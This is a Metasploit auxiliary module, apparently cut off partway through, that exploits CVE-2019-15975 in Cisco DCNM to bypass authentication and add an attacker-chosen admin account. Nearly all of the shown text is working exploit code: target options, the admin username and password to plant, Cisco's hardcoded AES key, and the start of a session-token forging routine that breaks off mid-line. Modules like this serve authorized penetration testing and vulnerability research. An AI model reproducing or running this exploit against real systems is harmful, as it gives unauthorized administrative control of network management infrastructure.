## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'securerandom' require 'base64' class MetasploitModule < Msf::Auxiliary include Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'Cisco DCNM auth bypass', 'Description' => %q{ This exploit is able to add an admin account to a Cisco DCNM with credentials you can choose. After that, you can login to the web interface with those credentials. The only necessary condition is the more or less recent connection of an admin as this exploit uses a kind of session stealing. }, 'License' => MSF_LICENSE, 'Author' => [ 'MR_ME', # Amazing POC on www.exploit-db.com 'Yann Castel (yann.castel[at]orange.com)' # Metasploit module ], 'References' => [ [ 'CVE', '2019-15975'], [ 'EDB', '48018'] ], 'DisclosureDate' => '2020-06-01', 'DefaultOptions' => { 'SSL' => true }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES] } ) ) register_options([ Opt::RPORT(443), OptInt.new('RETRIES', [true, 'Retry count for the attack', 50]), OptString.new('TARGETURI', [true, 'The base path of the Cisco DCNM', '/']), OptString.new('USERNAME', [true, 'The username of the admin account you want to add', Faker::Internet.username(specifier: 8..10).gsub(/[^a-zA-Z0-9]/, '')]), OptString.new('PASSWORD', [true, 'The password of the admin account you want to add', Faker::Internet.password(min_length: 8, max_length: 10)]) ]) end KEY = 's91zEQmb305F!90a'.freeze class AESCipher def initialize # Cisco's hardcoded key @bs = 16 end def encrypt(raw) raw = _pad(raw) iv = "\x00" * 0x10 cipher = OpenSSL::Cipher.new('aes-128-cbc') cipher.encrypt cipher.key = KEY cipher.iv = iv Base64.encode64(cipher.update(raw)) end private def _pad(size) size + (@bs - size.length % @bs).chr.to_s * (@bs - size.length % @bs) end end def make_raw_token key = 'what_a_nice_key' uuid = SecureRandom.uuid.gsub('-', '')[0..20] time = leak_time raw_token = format('%s-%s-%